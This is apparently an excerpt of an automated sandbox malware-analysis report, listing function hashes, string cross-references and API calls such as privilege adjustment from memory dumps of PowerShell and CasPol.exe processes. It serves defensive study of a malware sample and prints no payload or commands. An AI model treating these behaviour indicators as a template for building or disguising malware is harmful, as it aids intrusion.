Instruction ID: 27cfc34b76db80ba59d22b621746b157553de1fae99b0fd1aa1e6015c81e6272
Opcode Fuzzy Hash: d372f0ae90a8b52827868d969563fe771087781c1f48beaada101c74a2744a02
Instruction Fuzzy Hash: 27D05E363044510B8704616E685436E97DF4BD6665B29007AE50AC7350DE61CC1383E6

Uniqueness

Uniqueness Score: -1.00%

Function 07C2A168 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5300490fa092134ee604fe8e1c3797f85854b9d4c4d95dbf43a350e48ceebcf7
Instruction ID: e5410e02c1b26ff8ffce3ad59edecdfd669cb4e8aacf6a17cd703c397dcbe226
Opcode Fuzzy Hash: 5300490fa092134ee604fe8e1c3797f85854b9d4c4d95dbf43a350e48ceebcf7
Instruction Fuzzy Hash: A4D09E396069894FC7029B10EA589D1FF71BF4536071587D7D449CB253C624DD86CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07C2A140 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6118c9bb235459a304f681e25aa6e0dc6530bab68858e58817fae0488667282b
Instruction ID: d69e292156815f2fb37420481f97b83c86528e689cfa1afc8fc4cb21f2208224
Opcode Fuzzy Hash: 6118c9bb235459a304f681e25aa6e0dc6530bab68858e58817fae0488667282b
Instruction Fuzzy Hash: 7ED09E35609A854FCB02DB10E9554D5FFB1BF8535031986CAD0888B357C624DDC5C796

Uniqueness

Uniqueness Score: -1.00%

Function 07C288CD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52cab787b27176926f5b0f0e4b720f99dcaa799aa4d99b21ee7b4df31b0cb20b
Instruction ID: 484bd3bd9cdb2a1bb643fadd36961e18a6e20b5fc6eb7749b2da27e8f844deaa
Opcode Fuzzy Hash: 52cab787b27176926f5b0f0e4b720f99dcaa799aa4d99b21ee7b4df31b0cb20b
Instruction Fuzzy Hash: 82D09E306092908FC702CB14D954455FF717F4625032AC6D6D4898B253C624DC4AC751

Uniqueness

Uniqueness Score: -1.00%

Function 07C288DD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90daf8fb69927b923bf3104ed0de028554a936d0522fa22a364abdb8c1683a6f
Instruction ID: 3265451ff8359e3e5f34e46a128bb74bfe8dd2a0ac5034a41e8afc7bd5160ba2
Opcode Fuzzy Hash: 90daf8fb69927b923bf3104ed0de028554a936d0522fa22a364abdb8c1683a6f
Instruction Fuzzy Hash: 4ED0923060E2828FCB028B24DD694A9FFA16F8721031A86DAD4858B2A3C624EC86C751

Uniqueness

Uniqueness Score: -1.00%

Function 07C29081 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b527233d2b495325b7522381cfdf9e3ad3c86526f693e8768359596b005559ec
Instruction ID: 7b6061f4c03715cd574d5067905358f8f746e611ed41b600f54d4b3012ea58ad
Opcode Fuzzy Hash: b527233d2b495325b7522381cfdf9e3ad3c86526f693e8768359596b005559ec
Instruction Fuzzy Hash: 9CC0123AA000088F8B00CB94F888898B361EB88225B018422E10182101CA30942AEA00

Uniqueness

Uniqueness Score: -1.00%

Function 07C27E41 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f01d81cbb7e990380f64cce679ba1f12a11a54ecec121cd52d89bec9622ad29
Instruction ID: 34e07c0dd0c24f734c5ea32cbab1466506f4bfc41ca23f79fa69b5dad20fb6b5
Opcode Fuzzy Hash: 1f01d81cbb7e990380f64cce679ba1f12a11a54ecec121cd52d89bec9622ad29
Instruction Fuzzy Hash: 93C08C76A0D2809EE70A86609E02B453F21EBE2780F080463A2C8C8493C52A0498CBB2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07C20021 Relevance: 35.6, Strings: 25, Instructions: 4344COMMON

Download Yara Rule

Strings

4'Pl, xrefs: 07C2080E
4'Pl, xrefs: 07C22885
$Pl, xrefs: 07C24401
$Pl, xrefs: 07C2432B
0UPl, xrefs: 07C220F0
$Pl, xrefs: 07C2471D
$Pl, xrefs: 07C247F5
4'Pl, xrefs: 07C24057
$Pl, xrefs: 07C247CA
$Pl, xrefs: 07C2445A
$Pl, xrefs: 07C203CC
$Pl, xrefs: 07C24898
$Pl, xrefs: 07C246F2
$Pl, xrefs: 07C24792
$Pl, xrefs: 07C242D2
$Pl, xrefs: 07C21AD3
$Pl, xrefs: 07C248F4
PHPl, xrefs: 07C22204
$Pl, xrefs: 07C226F8
$Pl, xrefs: 07C245F0
$Pl, xrefs: 07C246BA
$Pl, xrefs: 07C24530
4'Pl, xrefs: 07C2284D
$Pl, xrefs: 07C22751
$Pl, xrefs: 07C20779

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID: 0UPl$4'Pl$4'Pl$4'Pl$4'Pl$PHPl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl
API String ID: 0-2798777051
Opcode ID: 66cd7274ed36dae90d30221ceee26511780f7b1d5cfea43dce7040c0ebe43acf
Instruction ID: 0529f6b402eca1998334e61203cedd6984b89b3af05e4afbcc8e669dc4e8cdb5
Opcode Fuzzy Hash: 66cd7274ed36dae90d30221ceee26511780f7b1d5cfea43dce7040c0ebe43acf
Instruction Fuzzy Hash: 99A34B70A492189FDB24EF60D894BEE77B2EB95304F0144E9920CAB294DF35AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07C20040 Relevance: 35.6, Strings: 25, Instructions: 4326COMMON

Download Yara Rule

Strings

4'Pl, xrefs: 07C2080E
4'Pl, xrefs: 07C22885
$Pl, xrefs: 07C24401
$Pl, xrefs: 07C2432B
0UPl, xrefs: 07C220F0
$Pl, xrefs: 07C2471D
$Pl, xrefs: 07C247F5
4'Pl, xrefs: 07C24057
$Pl, xrefs: 07C247CA
$Pl, xrefs: 07C2445A
$Pl, xrefs: 07C203CC
$Pl, xrefs: 07C24898
$Pl, xrefs: 07C246F2
$Pl, xrefs: 07C24792
$Pl, xrefs: 07C242D2
$Pl, xrefs: 07C21AD3
$Pl, xrefs: 07C248F4
PHPl, xrefs: 07C22204
$Pl, xrefs: 07C226F8
$Pl, xrefs: 07C245F0
$Pl, xrefs: 07C246BA
$Pl, xrefs: 07C24530
4'Pl, xrefs: 07C2284D
$Pl, xrefs: 07C22751
$Pl, xrefs: 07C20779

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID: 0UPl$4'Pl$4'Pl$4'Pl$4'Pl$PHPl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl$$Pl
API String ID: 0-2798777051
Opcode ID: a36f4ccc2a37cf4426d86d737db42fbc13fc0482048298384ee1e70dc931e3df
Instruction ID: 7864da93e373bbdb07484eb2e073aeb09635fcb30cd6ecd33e764584b374f085
Opcode Fuzzy Hash: a36f4ccc2a37cf4426d86d737db42fbc13fc0482048298384ee1e70dc931e3df
Instruction Fuzzy Hash: FEA34B70A492189FDB24EF60DC94BEE77B2EB95304F0144E9920CAB294DF35AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07C6F090 Relevance: 10.6, Strings: 8, Instructions: 578COMMON

Download Yara Rule

Strings

^0k, xrefs: 07C6F71F
@, xrefs: 07C6F6DA
^0k, xrefs: 07C6F3F6
^0k, xrefs: 07C6F52A
", xrefs: 07C6F1BD
^0k, xrefs: 07C6F33C
^0k, xrefs: 07C6F23A
^0k, xrefs: 07C6F77A

Memory Dump Source

Source File: 00000005.00000002.2661679281.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c60000_powershell.jbxd

Similarity

API ID:
String ID: "$@$^0k$^0k$^0k$^0k$^0k$^0k
API String ID: 0-1823766673
Opcode ID: 8b3e17b3918c25b129a2c8c282eb4f92dbe1eb9c3220bad27cf3a95df460e6e0
Instruction ID: f763f5949c7babcc7e7ad3db6e82f5ca63af8ef934c10e8e9d9ec2ff59b47ba8
Opcode Fuzzy Hash: 8b3e17b3918c25b129a2c8c282eb4f92dbe1eb9c3220bad27cf3a95df460e6e0
Instruction Fuzzy Hash: 6E2258B4B002068FDB24DF79E5D8AAE77F2AF89600B14842ED406DB764DF34E942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0287E7C9 Relevance: 8.8, Strings: 6, Instructions: 1298COMMON

Download Yara Rule

Strings

`QPl, xrefs: 0287F7BA
tPPl, xrefs: 0287F2FA
4cPl, xrefs: 0287EA6C
(_Pl, xrefs: 0287F3BA
cPl, xrefs: 0287EAA6
$Pl, xrefs: 0287F23A

Memory Dump Source

Source File: 00000005.00000002.2569430648.0000000002870000.00000040.00000800.00020000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2870000_powershell.jbxd

Similarity

API ID:
String ID: (_Pl$4cPl$`QPl$tPPl$$Pl$cPl
API String ID: 0-1866872163
Opcode ID: fc223bc36c58dab9bd12843aa30c0e1b25e7f9106f7690f1a8a90ca4512080ce
Instruction ID: 1a60c4aba47bdd813de4c73cfe876492707410f175f606b643feeb1372c440f8
Opcode Fuzzy Hash: fc223bc36c58dab9bd12843aa30c0e1b25e7f9106f7690f1a8a90ca4512080ce
Instruction Fuzzy Hash: 62A29D307082086BEB18ABB5AD11FFE75A3EBC4704F18816A95069F794CF76CC468F91

Uniqueness

Uniqueness Score: -1.00%

Function 0287E7D8 Relevance: 8.8, Strings: 6, Instructions: 1287COMMON

Download Yara Rule

Strings

`QPl, xrefs: 0287F7BA
tPPl, xrefs: 0287F2FA
4cPl, xrefs: 0287EA6C
(_Pl, xrefs: 0287F3BA
cPl, xrefs: 0287EAA6
$Pl, xrefs: 0287F23A

Memory Dump Source

Source File: 00000005.00000002.2569430648.0000000002870000.00000040.00000800.00020000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2870000_powershell.jbxd

Similarity

API ID:
String ID: (_Pl$4cPl$`QPl$tPPl$$Pl$cPl
API String ID: 0-1866872163
Opcode ID: 1f92031c2c4d6e36adcd15d2dc6bdd136023d1b9289e31d5f6f055672b9bcf1e
Instruction ID: ee1e52eb5fe0a53044563d2f03d55379febd61fec8b22632edb68a37c03ce513
Opcode Fuzzy Hash: 1f92031c2c4d6e36adcd15d2dc6bdd136023d1b9289e31d5f6f055672b9bcf1e
Instruction Fuzzy Hash: 1DA29D307082086BEB18ABB5AD11FFE75A3EBC4704F18856A95069F794CF76CC468F91

Uniqueness

Uniqueness Score: -1.00%

Function 07C252B0 Relevance: 4.3, Strings: 3, Instructions: 502COMMON

Download Yara Rule

Strings

"0k, xrefs: 07C25A8C
4'Pl, xrefs: 07C25525
"0k, xrefs: 07C25969

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID: "0k$"0k$4'Pl
API String ID: 0-3024793123
Opcode ID: 54f63194b91d1cc0dc52921b6a36fa3b74fb147c9d98cdf5067bc4477f70ac3e
Instruction ID: edd49e579b15f5b8e929fc7ac3a5fa871fb185534b7cad3d36f457b225c5522c
Opcode Fuzzy Hash: 54f63194b91d1cc0dc52921b6a36fa3b74fb147c9d98cdf5067bc4477f70ac3e
Instruction Fuzzy Hash: 8A221B70A043188FCB54EBB4D854BAE77F3EF85304F1289B9D109AB258DB399D458F91

Uniqueness

Uniqueness Score: -1.00%

Function 07C252C0 Relevance: 4.2, Strings: 3, Instructions: 491COMMON

Download Yara Rule

Strings

"0k, xrefs: 07C25A8C
4'Pl, xrefs: 07C25525
"0k, xrefs: 07C25969

Memory Dump Source

Source File: 00000005.00000002.2660175893.0000000007C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c20000_powershell.jbxd

Similarity

API ID:
String ID: "0k$"0k$4'Pl
API String ID: 0-3024793123
Opcode ID: 0eba7eb177b1f2d19a95c249382ca994be7e67fd5d045fbb79ac438b756861ac
Instruction ID: 34b034fca8986d9856775a1bbf71a07653f3473385153fbe3173a9b5f6efcbbb
Opcode Fuzzy Hash: 0eba7eb177b1f2d19a95c249382ca994be7e67fd5d045fbb79ac438b756861ac
Instruction Fuzzy Hash: FF220A30A043188FCB54EBB4D854BAE77F3EF85304F1289B9D109AB258DB399E458F91

Uniqueness

Uniqueness Score: -1.00%

Function 07BE2062 Relevance: 2.3, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

Strings

tPPl, xrefs: 07BE22FD

Memory Dump Source

Source File: 00000005.00000002.2658958244.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7be0000_powershell.jbxd

Similarity

API ID:
String ID: tPPl
API String ID: 0-1461368384
Opcode ID: 65534b2ecf5998109cce485f213e982910b34c6ce83bc34d2fd1d68817e10e43
Instruction ID: bc6d52f8c32afda54f08a0318a4197ce01369f97102508e51843d8b6a10e6a34
Opcode Fuzzy Hash: 65534b2ecf5998109cce485f213e982910b34c6ce83bc34d2fd1d68817e10e43
Instruction Fuzzy Hash: 6FB22770A012189FDB25DF68DC54BEEB7B2EF89301F1184E9D109AB350DB36AE858F51

Uniqueness

Uniqueness Score: -1.00%

Function 07BE2070 Relevance: 2.3, Strings: 1, Instructions: 1089COMMON

Download Yara Rule

Strings

tPPl, xrefs: 07BE22FD

Memory Dump Source

Source File: 00000005.00000002.2658958244.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7be0000_powershell.jbxd

Similarity

API ID:
String ID: tPPl
API String ID: 0-1461368384
Opcode ID: a66c2f7fbc06051b4027e44bba9195bd8095923f8bf0c68542f525ebc360abd7
Instruction ID: f971b9bf43dbaefd50ad322e7d9ada2c6ce80d91622a106bf6c509177a199283
Opcode Fuzzy Hash: a66c2f7fbc06051b4027e44bba9195bd8095923f8bf0c68542f525ebc360abd7
Instruction Fuzzy Hash: CDB22770A012189FDB25DF68DC54BEEB7B2EF89301F1184E9D109AB350DB36AE858F51

Uniqueness

Uniqueness Score: -1.00%

Function 07BE05D7 Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2658958244.0000000007BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7be0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9250e732ce811ff9787d87f97b140b8456e468b4e8ab0f90e6e3814f959bfe21
Instruction ID: c1fadaf0b0a52b89fe3d715cfa646aacafc737e8b02a2bfd51531aa88626e7a2
Opcode Fuzzy Hash: 9250e732ce811ff9787d87f97b140b8456e468b4e8ab0f90e6e3814f959bfe21
Instruction Fuzzy Hash: 43E18AB0A002199FDB15EF64D844AAEB7F6FF88304F1184A9E505AB360DB74EC05CF90

Uniqueness

Uniqueness Score: -1.00%

Function 07C425A8 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660823176.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f7e691492fb790ccb836fec696b18bd97f46cd874f0dc0e44313110922535e7
Instruction ID: 8bca0dc4ef13cdcee6cc6de9f71c535559a134244896a06f7be9d60e01bfc262
Opcode Fuzzy Hash: 9f7e691492fb790ccb836fec696b18bd97f46cd874f0dc0e44313110922535e7
Instruction Fuzzy Hash: 08C13E347923446BE7196A30EC63F7E3B635BC6B00F2488ADA6016F3D5CDB2AC429754

Uniqueness

Uniqueness Score: -1.00%

Function 07C425B8 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2660823176.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7c40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 755652baf68e0126543c889177e313ec67e64db249dbd78e578515733b6d40f9
Instruction ID: cc6b1fd0eb7bab7c0dab7f9cd59e3035feda0e0e3585047011698ba23c8a426e
Opcode Fuzzy Hash: 755652baf68e0126543c889177e313ec67e64db249dbd78e578515733b6d40f9
Instruction Fuzzy Hash: E8C13E347913446BE7196A30EC63F7E3B635BC6B01F2484ADA6016F3D5CDB2A8429754

Uniqueness

Uniqueness Score: -1.00%

Function 07A51760 Relevance: 6.7, Strings: 5, Instructions: 431COMMON

Download Yara Rule

Strings

4'Pl, xrefs: 07A51992
$Pl, xrefs: 07A5196F
4'Pl, xrefs: 07A5199E
$Pl, xrefs: 07A51953
$Pl, xrefs: 07A5197B

Memory Dump Source

Source File: 00000005.00000002.2656255703.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'Pl$4'Pl$$Pl$$Pl$$Pl
API String ID: 0-2757959926
Opcode ID: e605792d498fa656374cc79f6fb6ced95078f1305e1e3e0769bba809b78fefa4
Instruction ID: 91886c47f7a186c9aef9b1b50ee551e710e61414a6444192548386badb159d64
Opcode Fuzzy Hash: e605792d498fa656374cc79f6fb6ced95078f1305e1e3e0769bba809b78fefa4
Instruction Fuzzy Hash: D8E129F1B0821A9FCB159B68D8007BAB7F2EFD6215F19806BDA25DB251DB31CC41C792

Uniqueness

Uniqueness Score: -1.00%

Function 07A508B0 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$Pl, xrefs: 07A508C2
$Pl, xrefs: 07A5090C
$Pl, xrefs: 07A50918
$Pl, xrefs: 07A508DE

Memory Dump Source

Source File: 00000005.00000002.2656255703.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: $Pl$$Pl$$Pl$$Pl
API String ID: 0-2197008897
Opcode ID: 33beaee30f55bc35e57cabf370ed60de1bc713be6c2d345e44071278c16e9274
Instruction ID: 77f89b241e3838cdcfa0cd5cdc039857396596309f8b552ce744b1b9a15fdfb9
Opcode Fuzzy Hash: 33beaee30f55bc35e57cabf370ed60de1bc713be6c2d345e44071278c16e9274
Instruction Fuzzy Hash: 8E2147F2314216ABEB345A798C01B37B2DADBC1321F14842BFD66D7385DEB2C84183A1

Uniqueness

Uniqueness Score: -1.00%

Function 07A512E4 Relevance: 5.1, Strings: 4, Instructions: 56COMMON

Download Yara Rule

Strings

4'Pl, xrefs: 07A5134B
4'Pl, xrefs: 07A51357
$Pl, xrefs: 07A51336
$Pl, xrefs: 07A5132A

Memory Dump Source

Source File: 00000005.00000002.2656255703.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'Pl$4'Pl$$Pl$$Pl
API String ID: 0-3043512230
Opcode ID: a10c500b41e21c903fc7a96b378ce2e417b04defb2c44c94f7b4600629f3135b
Instruction ID: da4d826e2f0b266d4e3ecb8f6d5ccd4c5f93fa4550664941a72fb8df2ccc3465
Opcode Fuzzy Hash: a10c500b41e21c903fc7a96b378ce2e417b04defb2c44c94f7b4600629f3135b
Instruction Fuzzy Hash: CE01287275D2850FC7BA12286C356F96BA29FD253070A00D7C4A1CFB57C9704C06C3A3

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 7836, Parent PID: 416COMMON

Execution Graph

Execution Coverage:	26.8%
Dynamic/Decrypted Code Coverage:	99.8%
Signature Coverage:	1.6%
Total number of Nodes:	434
Total number of Limit Nodes:	27

Executed Functions

Function 1FA719B0 Relevance: 9.2, Strings: 7, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Otr, xrefs: 1FA71C1F
\Otr, xrefs: 1FA71C6D
^ORr, xrefs: 1FA71DF1
\Otr, xrefs: 1FA71D31
\Otr, xrefs: 1FA71CE7
\Otr, xrefs: 1FA71BD4
_Rr, xrefs: 1FA71B41

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: \Otr$\Otr$\Otr$\Otr$\Otr$^ORr$_Rr
API String ID: 0-2588191880
Opcode ID: c94d2e41b4cff213c7cffcc3b05de7e3e9210813cabf5cf3c3e06fb1da383001
Instruction ID: 3801e2db838448d367233f1e1f6f0817b921839f3a41f299e54caeca7cb5d6d5
Opcode Fuzzy Hash: c94d2e41b4cff213c7cffcc3b05de7e3e9210813cabf5cf3c3e06fb1da383001
Instruction Fuzzy Hash: A2F1BD74B003549BDB54EBB4C854BAEBBF3AF84700F2A8529D506DB290DF39AC01CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA8B5B8 Relevance: 1.7, APIs: 1, Instructions: 202libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1FA8B5F8

Memory Dump Source

Source File: 0000000B.00000002.6782028853.000000001FA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa80000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 212ebc3a2c9df50f5bd28eae6cf041866937441f9b4d56c898382577d8a3308c
Instruction ID: d98f5880e487eacd7d5bf6059a11d4045e0ebc1914073796c61f0a3068acb123
Opcode Fuzzy Hash: 212ebc3a2c9df50f5bd28eae6cf041866937441f9b4d56c898382577d8a3308c
Instruction Fuzzy Hash: 18714C34A00215DFDB54DFB9C498AAEBBF2AF88351F198529E405A7394DB78A841CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAA7F Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 1CFDAAFF

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 8b1540ecdb4bda46aa329a006f959454bd2ea2d8cb0095fc50240dd631581203
Instruction ID: 70f00f5230a696e577ef9b89e0ea58010bc5b2f1b90138a15296d399ed858a88
Opcode Fuzzy Hash: 8b1540ecdb4bda46aa329a006f959454bd2ea2d8cb0095fc50240dd631581203
Instruction Fuzzy Hash: 1D21BC76509780AFEB128F25DC41B52BFB4EF06310F0985DAE9848F263D271E909DB72

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAAB6 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 1CFDAAFF

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: c3698da54c28b0ba1ff73ed1e04ee69731d40ebec46aa48d25077a53e1e43552
Instruction ID: 824e653a15a380474edae2ffc68a64dc5dd52233942a741edfc19fe86d68936e
Opcode Fuzzy Hash: c3698da54c28b0ba1ff73ed1e04ee69731d40ebec46aa48d25077a53e1e43552
Instruction Fuzzy Hash: 1311A0766003009FEB11CF65D985B62FBE4EF04620F08C9AAED458B652D372E419DB75

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAFB8 Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 1CFDB015

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 27737104952629438054bc0fd5ee2a0a5e9ce1292ad13c14a69e3c0007eefda2
Instruction ID: 1aa7c3ff72697c25846b6a2a7b6488c2851a416616e5ef2ba78fa6c40e98ce10
Opcode Fuzzy Hash: 27737104952629438054bc0fd5ee2a0a5e9ce1292ad13c14a69e3c0007eefda2
Instruction Fuzzy Hash: D211A071508384AFD7228F15DC45F52FFB4EF46220F09849EED844B663C276A819CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAFDA Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 1CFDB015

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 6458964a26ee884be16be0bc875d29139fc84b01c67edfd10600395e64d1eaa0
Instruction ID: 4ac5e978cdd3552d160f7a80f9cf8811cc0d239a0441cbac607b83ad5cf2b014
Opcode Fuzzy Hash: 6458964a26ee884be16be0bc875d29139fc84b01c67edfd10600395e64d1eaa0
Instruction Fuzzy Hash: 01018F355003449FEB208F55D888B26FBA0EF48720F0CC09ADE480B752C376A419DB76

Uniqueness

Uniqueness Score: -1.00%

Function 1FA84B20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 180
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 1FA84B95

Strings

_Rr, xrefs: 1FA84B90
L.tr, xrefs: 1FA84C32
L.tr, xrefs: 1FA84BD0

Memory Dump Source

Source File: 0000000B.00000002.6782028853.000000001FA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa80000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID: L.tr$L.tr$_Rr
API String ID: 2994545307-217586420
Opcode ID: 6b50199a0432651ae34dc5b1410d31f6c998128248d3ee0fcbafd836b3cbac97
Instruction ID: c03a97611658d9979958ee8363afbd0aeed40e436609f4f8cce9241a36db8dae
